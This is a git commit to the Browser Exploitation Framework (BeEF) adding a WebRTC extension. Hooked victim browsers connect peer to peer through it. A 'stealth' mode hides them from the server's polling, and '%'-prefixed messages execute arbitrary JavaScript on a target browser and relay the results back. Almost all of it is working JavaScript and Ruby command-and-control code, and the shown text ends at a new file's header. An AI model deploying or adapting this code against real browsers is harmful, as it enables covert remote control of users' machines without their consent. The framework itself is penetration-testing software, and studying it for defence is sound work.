Add WebRTC Extension PoC. Disabled by default, for now. See Issue #1082

This commit is contained in:
Christian Frichot
2014-12-23 15:38:02 +08:00
parent b0cfe3cfdb
commit 74c8dc7bcd
12 changed files with 1517 additions and 1 deletions

View File

@@ -0,0 +1,200 @@
var RTCPeerConnection = null;
var getUserMedia = null;
var attachMediaStream = null;
var reattachMediaStream = null;
var webrtcDetectedBrowser = null;
var webrtcDetectedVersion = null;
function maybeFixConfiguration(pcConfig) {
if (pcConfig === null) {
return;
}
for (var i = 0; i < pcConfig.iceServers.length; i++) {
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
if (pcConfig.iceServers[i]['urls'].length > 0) {
// In FF - we just take the FIRST STUN Server
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
} else {
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
}
delete pcConfig.iceServers[i]['urls'];
}
}
}
if (navigator.mozGetUserMedia) {
webrtcDetectedBrowser = "firefox";
webrtcDetectedVersion =
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is not supported in FF yet.
maybeFixConfiguration(pcConfig);
return new mozRTCPeerConnection(pcConfig, pcConstraints);
}
// The RTCSessionDescription object.
RTCSessionDescription = mozRTCSessionDescription;
// The RTCIceCandidate object.
RTCIceCandidate = mozRTCIceCandidate;
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Creates iceServer from the url for FF.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
if (webrtcDetectedVersion < 27) {
// Create iceServer with turn url.
// Ignore the transport parameter from TURN url for FF version <=27.
var turn_url_parts = url.split("?");
// Return null for createIceServer if transport=tcp.
if (turn_url_parts.length === 1 ||
turn_url_parts[1].indexOf('transport=udp') === 0) {
iceServer = {'url': turn_url_parts[0],
'credential': password,
'username': username};
}
} else {
// FF 27 and above supports transport parameters in TURN url,
// So passing in the full url to create iceServer.
iceServer = {'url': url,
'credential': password,
'username': username};
}
}
return iceServer;
};
createIceServers = function(urls, username, password) {
var iceServers = [];
// Use .url for FireFox.
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
return iceServers;
}
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
console.log("Attaching media stream");
element.mozSrcObject = stream;
element.play();
};
reattachMediaStream = function(to, from) {
console.log("Reattaching media stream");
to.mozSrcObject = from.mozSrcObject;
to.play();
};
// Fake get{Video,Audio}Tracks
if (!MediaStream.prototype.getVideoTracks) {
MediaStream.prototype.getVideoTracks = function() {
return [];
};
}
if (!MediaStream.prototype.getAudioTracks) {
MediaStream.prototype.getAudioTracks = function() {
return [];
};
}
} else if (navigator.webkitGetUserMedia) {
webrtcDetectedBrowser = "chrome";
// Temporary fix until crbug/374263 is fixed.
// Setting Chrome version to 999, if version is unavailable.
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
if (result !== null) {
webrtcDetectedVersion = parseInt(result[2], 10);
} else {
webrtcDetectedVersion = 999;
}
// Creates iceServer from the url for Chrome M33 and earlier.
createIceServer = function(url, username, password) {
var iceServer = null;
var url_parts = url.split(':');
if (url_parts[0].indexOf('stun') === 0) {
// Create iceServer with stun url.
iceServer = { 'url': url };
} else if (url_parts[0].indexOf('turn') === 0) {
// Chrome M28 & above uses below TURN format.
iceServer = {'url': url,
'credential': password,
'username': username};
}
return iceServer;
};
// Creates iceServers from the urls for Chrome M34 and above.
createIceServers = function(urls, username, password) {
var iceServers = [];
if (webrtcDetectedVersion >= 34) {
// .urls is supported since Chrome M34.
iceServers = {'urls': urls,
'credential': password,
'username': username };
} else {
for (i = 0; i < urls.length; i++) {
var iceServer = createIceServer(urls[i],
username,
password);
if (iceServer !== null) {
iceServers.push(iceServer);
}
}
}
return iceServers;
};
// The RTCPeerConnection object.
var RTCPeerConnection = function(pcConfig, pcConstraints) {
// .urls is supported since Chrome M34.
if (webrtcDetectedVersion < 34) {
maybeFixConfiguration(pcConfig);
}
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
}
// Get UserMedia (only difference is the prefix).
// Code from Adam Barth.
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
navigator.getUserMedia = getUserMedia;
// Attach a media stream to an element.
attachMediaStream = function(element, stream) {
if (typeof element.srcObject !== 'undefined') {
element.srcObject = stream;
} else if (typeof element.mozSrcObject !== 'undefined') {
element.mozSrcObject = stream;
} else if (typeof element.src !== 'undefined') {
element.src = URL.createObjectURL(stream);
} else {
console.log('Error attaching stream to element.');
}
};
reattachMediaStream = function(to, from) {
to.src = from.src;
};
} else {
console.log("Browser does not appear to be WebRTC-capable");
}

588
core/main/client/webrtc.js Normal file
View File

@@ -0,0 +1,588 @@
//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @Literal object: beef.webrtc
*
* Manage the WebRTC peer to peer communication channels.
* This objects contains all the necessary client-side WebRTC components,
* allowing browsers to use WebRTC to communicate with each other.
* To provide signaling, the WebRTC extension sets up custom listeners.
* /rtcsignal - for sending RTC signalling information between peers
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
*
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
* the signalling.
*
* This is all mostly a Proof of Concept
*/
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
// The key is the peer id
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
// these objects persist outside of everything else
// The key is the peer id
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
// false - i.e not stealthed; or
// <peerid> - i.e. the id of the browser which initiated stealth mode
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
// The key is the peer id
// Beefwebrtc object - wraps everything together for a peer connection
// One of these per peer connection, and will be stored in the beefrtc global hash
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
this.turnjson = turnjson; // set of TURN servers in the format:
// {"username": "<username", "password": "<password>", "uris": [
// "turn:<ip>:<port>?transport=<udp/tcp>",
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
this.started = false; // Has signaling / dialing started for this peer
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
this.turnDone = false; // does the pcConfig have TURN servers added to it?
this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
// the receiver will set this to true once it receives an SDP 'offer'
this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
this.pcConfig = null; // We set this during init
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
this.dataChannel = null; // The data channel used by this peer
this.stunservers = stunservers; // set of STUN servers, in the format:
// ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
}
// Initialize the object
Beefwebrtc.prototype.initialize = function() {
if (this.peerid == null) {
return 0; // no peerid - NO DICE
}
// Initialise the pcConfig hash with the provided stunservers
var stuns = JSON.parse(this.stunservers);
this.pcConfig = {"iceServers": [{"urls":stuns}]};
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
this.forceTurn(this.turnjson);
// Caller is always ready to create peerConnection.
this.signalingReady = this.initiator;
// Start .. maybe
this.maybeStart();
// If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
// window.onbeforeunload = function() {
// this.sendSignalMsg({type: 'bye'});
// }
return 1; // because .. yeah .. we had a peerid - this is good yar.
}
//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
//These values are now simply passed in from the config.yaml for the webrtc extension
Beefwebrtc.prototype.forceTurn = function(jason) {
var turnServer = JSON.parse(jason);
var iceServers = createIceServers(turnServer.uris,
turnServer.username,
turnServer.password);
if (iceServers !== null) {
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
}
if (this.verbose) {console.log("Got TURN servers, will try and maybestart again..");}
this.turnDone = true;
this.maybeStart();
}
// Try and establish the RTC connection
Beefwebrtc.prototype.createPeerConnection = function() {
if (this.verbose) {
console.log('Creating RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
try {
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
if (this.verbose) {
console.log('Created RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
} catch (e) {
if (this.verbose) {
console.log('Failed to create PeerConnection, exception: ');
console.log(e);
}
return;
}
// Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
}
// When the PeerConnection receives a new ICE Candidate
Beefwebrtc.prototype.onIceCandidate = function(event) {
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
if (beefrtcs[peerid].verbose) {
console.log("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
console.log(event);
}
if (event.candidate) {
// Send the candidate to the peer via the BeEF signalling channel
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
label: event.candidate.sdpMLineIndex,
id: event.candidate.sdpMid,
candidate: event.candidate.candidate});
// Note this ICE candidate locally
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
} else {
if (beefrtcs[peerid].verbose) {console.log('End of candidates.');}
}
}
// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
// against the message directly
Beefwebrtc.prototype.processMessage = function(message) {
if (this.verbose) {
console.log('Signalling Message - S->C: ' + JSON.stringify(message));
}
var msg = JSON.parse(message);
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
if (this.verbose) {console.log('processing the message, as a receiver');}
if (msg.type === 'offer') { // This IS an SDP Offer
if (this.verbose) {console.log('.. and the message is an offer .. ');}
this.msgQueue.unshift(msg); // put it on the top of the msgqueue
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
if (this.verbose) {console.log(' .. the message is NOT an offer .. ');}
this.msgQueue.push(msg);
}
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
if (this.verbose) {console.log('processing the message, as the sender, no answers yet');}
if (msg.type === 'answer') { // This IS an SDP Answer
if (this.verbose) {console.log('.. and we have an answer ..');}
this.processSignalingMessage(msg); // Process the message directly
this.gotanswer = true; // We have now received an answer
//process all other queued message...
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue
if (this.verbose) {console.log('.. not an answer ..');}
this.msgQueue.push(msg);
}
} else { // For all other messages just drop them in the queue
if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');}
this.processSignalingMessage(msg);
}
}
// Send a signalling message ..
Beefwebrtc.prototype.sendSignalMsg = function(message) {
var msgString = JSON.stringify(message);
if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);}
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
}
// Used to record ICS candidates locally
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
if (this.gatheredIceCandidateTypes[location][type])
return;
this.gatheredIceCandidateTypes[location][type] = 1;
// updateInfoDiv();
}
// When the signalling state changes. We don't actually do anything with this except log it.
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);}
}
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
peerid = k;
}
}
if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
// better candidates or connections
if (event.target.iceConnectionState === 'connected') {
//Send status to peer
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
if (event.target.iceConnectionState === 'completed') {
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
rtcstealth = false;
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
//I was not in stealth, and this peer has gone offline - send a message
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
}
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
// This is possibly a bad idea - @xntrik
}
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
Beefwebrtc.prototype.goStealth = function() {
//stop the beef updater
rtcstealth = this.peerid; // this is a global variable
beef.updater.lock = true;
this.sendPeerMsg('Going into stealth mode');
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
}
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
rtcpollPeer = function() {
if (rtcstealth == false) {
//my peer has disabled stealth mode
beef.updater.lock = false;
return;
}
if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');}
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
}
// When a data channel has been established - within here is the message handling function as well
Beefwebrtc.prototype.onDataChannel = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
peerid = k;
}
}
if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");}
rtcrecvchan[peerid] = event.channel;
// This is the onmessage event handling within the datachannel
rtcrecvchan[peerid].onmessage = function(ev2) {
if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
// We've received the command to go into stealth mode
if (ev2.data == "!gostealth") {
if (beef.updater.lock == true) {
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
} else {
beefrtcs[peerid].goStealth();
}
// The message to come out of stealth
} else if (ev2.data == "!endstealth") {
if (rtcstealth != null) {
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
rtcstealth = false;
}
// Command to perform arbitrary JS (while stealthed)
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
// Command to perform arbitrary JS (while NOT stealthed)
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
// Just a plain text message .. (while stealthed)
} else if (rtcstealth != false) {
if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
// Just a plan text message (while NOT stealthed)
} else {
if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');}
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
}
}
}
// How the browser executes received JS (this is pretty hacky)
Beefwebrtc.prototype.execCmd = function(input) {
var fn = new Function(input);
var res = fn();
return res.toString();
}
// Shortcut function to SEND a data messsage
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);}
this.dataChannel.send(msg);
}
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
Beefwebrtc.prototype.maybeStart = function() {
if (this.verbose) {console.log("maybe starting ... ");}
if (!this.started && this.signalingReady && this.turnDone) {
if (this.verbose) {console.log('Creating PeerConnection.');}
this.createPeerConnection();
this.started = true;
if (this.initiator) {
if (this.verbose) {console.log("Making the call now .. bzz bzz");}
this.doCall();
} else {
if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");}
this.calleeStart();
}
} else {
if (this.verbose) {console.log("Not ready to start just yet..");}
}
}
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
Beefwebrtc.prototype.doCall = function() {
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
var self = this;
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' +
' \'' + JSON.stringify(constraints) + '\'.');}
}
// Helper method to merge SDP constraints
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
var merged = cons1;
for (var name in cons2.mandatory) {
merged.mandatory[name] = cons2.mandatory[name];
}
merged.optional.concat(cons2.optional);
return merged;
}
// Sets the local RTC session description, sends this information back (via signalling)
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
// The receiver uses this information too - and vice-versa - hence the signaling
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
// Stupid .. javascript :(
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");}
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
beefrtcs[peerid].sendSignalMsg(sessionDescription);
function onSetSessionDescriptionSuccess() {
if (beefrtcs[peerid].verbose) {console.log('Set session description success.');}
}
function onSetSessionDescriptionError() {
if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');}
}
}
// If the browser can't build an SDP
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());}
}
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
Beefwebrtc.prototype.calleeStart = function() {
// Callee starts to process cached offer and other messages.
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
}
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (!this.started) {
if (this.verbose) {console.log('peerConnection has not been created yet!');}
return;
}
if (message.type === 'offer') {
if (this.verbose) {console.log("Processing signalling message: OFFER");}
this.setRemote(message);
this.doAnswer();
} else if (message.type === 'answer') {
if (this.verbose) {console.log("Processing signalling message: ANSWER");}
this.setRemote(message);
} else if (message.type === 'candidate') {
if (this.verbose) {console.log("Processing signalling message: CANDIDATE");}
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
candidate: message.candidate});
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
} else if (message.type === 'bye') {
this.onRemoteHangup();
}
}
// Used to set the RTC remote session
Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
function onSetRemoteDescriptionSuccess() {
if (this.verbose) {console.log("Set remote session description success.");}
}
}
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
Beefwebrtc.prototype.doAnswer = function() {
if (this.verbose) {console.log('Sending answer to peer.');}
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
}
// Helper method to determine what kind of ICE Candidate we've received
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
if (candidateSDP.indexOf("typ relay ") >= 0)
return "TURN";
if (candidateSDP.indexOf("typ srflx ") >= 0)
return "STUN";
if (candidateSDP.indexOf("typ host ") >= 0)
return "HOST";
return "UNKNOWN";
}
// Event handler for successful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('AddIceCandidate success.');}
}
// Event handler for unsuccessful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());}
}
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
Beefwebrtc.prototype.onRemoteHangup = function() {
if (this.verbose) {console.log('Session terminated.');}
this.initiator = 0;
// transitionToWaiting();
this.stop();
}
// Bring down the peer connection
Beefwebrtc.prototype.stop = function() {
this.started = false; // we're no longer started
this.signalingReady = false; // signalling isn't ready
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
globalrtc[this.peerid] = null; // Remove it
this.msgQueue.length = 0; // clear the msgqueue
rtcstealth = false; // no longer stealth
this.allgood = false; // allgood .. NAH UH
}
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
// These are the methods which are executed via the custom extension of the hook.js
beef.webrtc = {
// Start the RTCPeerConnection process
start: function(initiator,peer,turnjson,stunservers,verbose) {
if (peer in beefrtcs) {
// If the RTC peer is not in a good state, try kickng it off again
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
if (beefrtcs[peer].allgood == false) {
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
} else {
// Standard behaviour for new peer connections
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
},
// Check the status of all my peers ..
status: function(me) {
if (Object.keys(beefrtcs).length > 0) {
for (var k in beefrtcs) {
if (beefrtcs.hasOwnProperty(k)) {
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
}
}
} else {
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
}
}
}
beef.regCmp('beef.webrtc');

View File

@@ -21,7 +21,7 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
@@ -29,6 +29,10 @@ module BeEF
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "webrtc.js"
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"

View File

@@ -29,6 +29,9 @@ class Core
"review" => "Target a particular previously hooked (offline) hooked browser",
"show" => "Displays 'zombies' or 'browsers' or 'commands'. (For those who prefer the MSF way)",
"target" => "Target a particular online hooked browser",
"rtcgo" => "Initiate the WebRTC connectivity between two browsers",
"rtcmsg" => "Send a message from a browser to its peers",
"rtcstatus" => "Check a browsers WebRTC status"
}
end
@@ -245,6 +248,121 @@ class Core
print_status(" Usage: target <id>")
end
def cmd_rtcgo(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
return false
end
@@bare_opts.parse(args) {|opt,idx,val|
case opt
when "-h"
cmd_rtcgo_help
return false
end
}
if args[0] == nil or args[1] == nil
cmd_rtcgo_help
return
end
onlinezombies = []
BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |z|
onlinezombies << z.id
end
if not onlinezombies.include?(args[0].to_i)
print_status("Browser [id:"+args[0].to_s+"] does not appear to be online.")
return false
end
if not onlinezombies.include?(args[1].to_i)
print_status("Browser [id:"+args[1].to_s+"] does not appear to be online.")
return false
end
if args[2] == nil
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
else
if args[2] =~ (/^(true|t|yes|y|1)$/i)
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i,true)
else
BeEF::Core::Models::Rtcmanage.initiate(args[0].to_i,args[1].to_i)
end
end
end
def cmd_rtcgo_help(*args)
print_status("To kick off the WebRTC Peer to Peer between two browsers")
print_status(" Usage: rtcgo <caller id> <receiver id> <verbosity - defaults to false>")
end
def cmd_rtcmsg(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
return false
end
@@bare_opts.parse(args) {|opt,idx,val|
case opt
when "-h"
cmd_rtcmsg_help
return false
end
}
if (args[0] == nil || args[1] == nil || args[2] == nil)
cmd_rtcmsg_help
return
else
p = ""
(2..args.length-1).each do |x|
p << args[x] << " "
end
p.chop!
BeEF::Core::Models::Rtcmanage.sendmsg(args[0].to_i,args[1].to_i,p)
end
end
def cmd_rtcmsg_help(*args)
print_status("Sends a message from this browser to its peers")
print_status(" Usage: rtcmsg <from> <to> <msg>")
print_status("There are a few <msg> formats that are available within the beefwebrtc client-side object:")
print_status(" !gostealth - will put the <to> browser into a stealth mode")
print_status(" !endstealth - will put the <to> browser into normal mode, and it will start talking to BeEF again")
print_status(" %<javascript> - will execute JavaScript on <to> sending the results back to <from> - who will relay back to BeEF")
print_status(" <text> - will simply send a datachannel message from <from> to <to>. If the <to> is stealthed, it'll bounce the message back. If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler")
end
def cmd_rtcstatus(*args)
if BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable") != true
print_status("WebRTC Extension is not enabled..")
return false
end
@@bare_opts.parse(args) {|opt,idx,val|
case opt
when "-h"
cmd_rtcstatus_help
return false
end
}
if (args[0] == nil)
cmd_rtcstatus_help
return
else
BeEF::Core::Models::Rtcmanage.status(args[0].to_i)
end
end
def cmd_rtcstatus_help(*args)
print_status("Sends a message to this browser - checking the WebRTC Status of all its peers")
print_status(" Usage: rtcstatus <id>")
end
def cmd_irb(*args)
@@bare_opts.parse(args) {|opt, idx, val|
case opt

41
extensions/webrtc/api.rb Normal file
View File

@@ -0,0 +1,41 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
